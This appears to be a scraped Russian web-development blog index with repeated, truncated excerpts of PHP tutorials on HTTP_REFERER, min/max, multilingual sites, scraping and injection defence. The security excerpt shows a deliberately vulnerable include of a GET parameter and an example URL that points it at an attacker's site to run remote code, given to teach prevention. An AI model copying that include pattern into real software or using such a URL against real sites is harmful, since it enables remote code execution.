Web МастерскаяБлог
Сообщество Web Мастеров. Тут собрано всё, чтобы написать свой первый сайт, запустить его в Интернет и поддерживать его в течении всей его работы.
Как определить от куда пришёл пользователь на PHP
Сейчас мы с вами будем разбираться, как определить от куда пришел пользователь. Собственно тут и разбираться не в чем, для этого будем использовать элемент суперглобального массива 
Значение элемента
И мы увидим адрес страницы с которой перешел пользователь. Но есть один "промах", если пользователь не перейдет на страницу по ссылке, а введет в адресную строку адрес, где мы выводи значение переменной на экран, которого на самом деле нет, так как не было "предыдущей" страницы, то получим ошибку такого вида:
Решение может быть простым, просто перед выводом на экран значения, проверять переменную на пустоту, например, так:
Ну или так:
...
$_SERVER - HTTP_REFERER.Значение элемента
$_SERVER['HTTP_REFERER'] - это адрес предыдущей страницы, от куда пришел пользователь по ссылке. Нам достаточно вывести значение переменной на экран:
echo $_SERVER['HTTP_REFERER'];И мы увидим адрес страницы с которой перешел пользователь. Но есть один "промах", если пользователь не перейдет на страницу по ссылке, а введет в адресную строку адрес, где мы выводи значение переменной на экран, которого на самом деле нет, так как не было "предыдущей" страницы, то получим ошибку такого вида:
		Notice: Undefined index: HTTP_REFERER in /.../.../.../
Решение может быть простым, просто перед выводом на экран значения, проверять переменную на пустоту, например, так:
echo isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Адрес не определен.';Ну или так:
if (isset($- Жалоба
 
Как найти наименьшее и наибольшее число в PHP (min | max)
Может потребоваться найти наименьшее или наибольшее число при написании, какого ни будь сценария, сейчас расскажу, как это можно сделать.
Допустим у нас есть массив чисел, вот такой:
Массив состоит из семи чисел в хаотичном порядке, но порядок и количество чисел не имеет значения. Из этого массива нам надо получить наименьшее число, для этого в PHP существует функция min, ее предназначение находить самое маленькое число из представленных. делаем так:
Теперь переменная
Теперь давайте попробуем найти самое большое число из массива. Для этого будем использовать функцию max - эта функция противоположная функции min, в отличии от min, функция max находит наибольшее число. Делаем так:
И переменная
В эти две функции (min | max) можно вставлять цифры, просто перечисляя...
Допустим у нас есть массив чисел, вот такой:
$array = array(700, 255, 333, 667, 888, 1200, 512);Массив состоит из семи чисел в хаотичном порядке, но порядок и количество чисел не имеет значения. Из этого массива нам надо получить наименьшее число, для этого в PHP существует функция min, ее предназначение находить самое маленькое число из представленных. делаем так:
$min = min($array); Теперь переменная
$min содержит в себе самое маленькое число из массива, то есть 255.Теперь давайте попробуем найти самое большое число из массива. Для этого будем использовать функцию max - эта функция противоположная функции min, в отличии от min, функция max находит наибольшее число. Делаем так:
$max = max($array);И переменная
$max содержит в себе самое большое число массива, это число - 1200.В эти две функции (min | max) можно вставлять цифры, просто перечисляя...
Делаем сайт мультиязычным (PHP + MySQLi)
Если Ваши пользователи/читатели из разных стран и естественно говорят они и читают на разных языках, значит у Вас есть на сайте возможность переключиться на другой язык. Если такой возможности нет, но Вы хотите её внедрить, тогда предлогаю Вам свой вариант создания языкового переключателя, говоря другими словами сделать свой сайт мультиязычным.
И так для начала в корне сайта создаем папку language, куда поместим два файла ru.php и en.php - эти файлы у нас и будут хранить в себе перевод языка, один язык - один файл. Для создания списка слов/фраз в языковых файлах я использую массив array(), вот так:
Файл ru.php:
Файл en.php:
...
И так для начала в корне сайта создаем папку language, куда поместим два файла ru.php и en.php - эти файлы у нас и будут хранить в себе перевод языка, один язык - один файл. Для создания списка слов/фраз в языковых файлах я использую массив array(), вот так:
Файл ru.php:
<?php 
$lang = array(
    'index'                 => 'Главная страница',       
    'register'              => 'Регистрация',
    'input'                 => 'Вход', 
    'blog'                  => 'Блог',   
    'exit'                  => 'Выход',
);Файл en.php:
<?php
$lang = array(
    'index'                 => 'Index page',       
    'register'              =>Как предотвратить PHP, SQL и XSS инъекции (Безопасность)
Я конечно не супер-профессионал по безопасности, но некоторые познания в области безопасности php скриптов есть. Итак, часто встречающиеся дыры в php скриптах:
- PHP инъекция.
- SQL инъекция.
- XSS.
Вот про борьбу с этими уязвимостями и пойдёт речь. Статей по безопасности конечно уйма, но всё же, внесу и свою лепту.
Что же это такое PHP-инъекция?
PHP-инъекция - способ взлома сайта путём выполнения на сайте стороннего PHP кода. Например, вы хотите подключить необходимый файл, в зависимости от параметра, пришедшего из GET:
Если ввести такой URL:
- PHP инъекция.
- SQL инъекция.
- XSS.
Вот про борьбу с этими уязвимостями и пойдёт речь. Статей по безопасности конечно уйма, но всё же, внесу и свою лепту.
Что же это такое PHP-инъекция?
PHP-инъекция - способ взлома сайта путём выполнения на сайте стороннего PHP кода. Например, вы хотите подключить необходимый файл, в зависимости от параметра, пришедшего из GET:
# Получаем имя файла
$action = isset($_GET['action']) ? $_GET['action'] : null; 
# Тут какие-то действия
# ...
# Подключаем файл
include($action);Если ввести такой URL:
http://ваш_сайт/ваш_файл.php?action=http://сайт_взломщика/файл то, если в файле php.ini на вашем сервере включена директива allow_url_include, злоумышленник может внести код, который хочет выполнить на вашем сайте, в тот файл, на который он указал ссылку и код успешно выполнится на вашем сайте....Быстрое копирование информации с Web-страницы (Парсинг на PHP)
Заметил, что на форумах часто задают вопросы про парсинг сайтов. Решил написать небольшую статью, в которой попытаюсь объяснить азы парсинга и привести некоторые примеры работы с ним.
Итак, начнём с самого начала.
Что такое парсинг? Это слово является переведенным, а вернее просто написанным на кириллице (как это часто встречается в интернете) словом из английского языка "parsing". Оно переводится с английского как "разбор". Т.е. парсинг - это анализ и разбор какой-либо web-страницы с целью получения информации, содержащейся на ней.
Можно подумать: а зачем вообще нужно получать информацию с web-страницы таким способом? Приведу пример: допустим, Вам нужна база данных MySQL с марками и моделями автомобилей (недавно как раз мне пришлось писать парсер именно для этого). Как Вам её получить? Есть два варианта. Первый - это купить такую базу у человека, у которого она есть. Второй - составить её самому.
Если Вас устраивает первый вариант - Вы, не тратя время, покупаете её и всё. Вот так...
Итак, начнём с самого начала.
Что такое парсинг? Это слово является переведенным, а вернее просто написанным на кириллице (как это часто встречается в интернете) словом из английского языка "parsing". Оно переводится с английского как "разбор". Т.е. парсинг - это анализ и разбор какой-либо web-страницы с целью получения информации, содержащейся на ней.
Можно подумать: а зачем вообще нужно получать информацию с web-страницы таким способом? Приведу пример: допустим, Вам нужна база данных MySQL с марками и моделями автомобилей (недавно как раз мне пришлось писать парсер именно для этого). Как Вам её получить? Есть два варианта. Первый - это купить такую базу у человека, у которого она есть. Второй - составить её самому.
Если Вас устраивает первый вариант - Вы, не тратя время, покупаете её и всё. Вот так...
Категории
- Apache 6
 - CMS 3
 - CSS 16
 - FTP 1
 - HTML 11
 - JavaScript 43
 - MySQL 17
 - Nginx 16
 - PHP 52
 - phpMyAdmin 2
 - SVG 3
 - URL 1
 - XML 3
 - Безопасность 7
 - Библиотека JS 16
 - Графика 3
 - Доменное имя 1
 - Инструкция 1
 - Кодировка 2
 - Контент 8
 - Мнение 1
 - Мобильное устройство 1
 - Монетизация сайта 2
 - Настройка 3
 - Оптимизация 2
 - Ошибка 11
 - Поисковая система 1
 - Продвижение сайта 6
 - Производительность 1
 - Софт 1
 - Старт 2
 - Сценарий 1
 - Функция 1
 - Хостинг | Сервер 3
 
Реклама















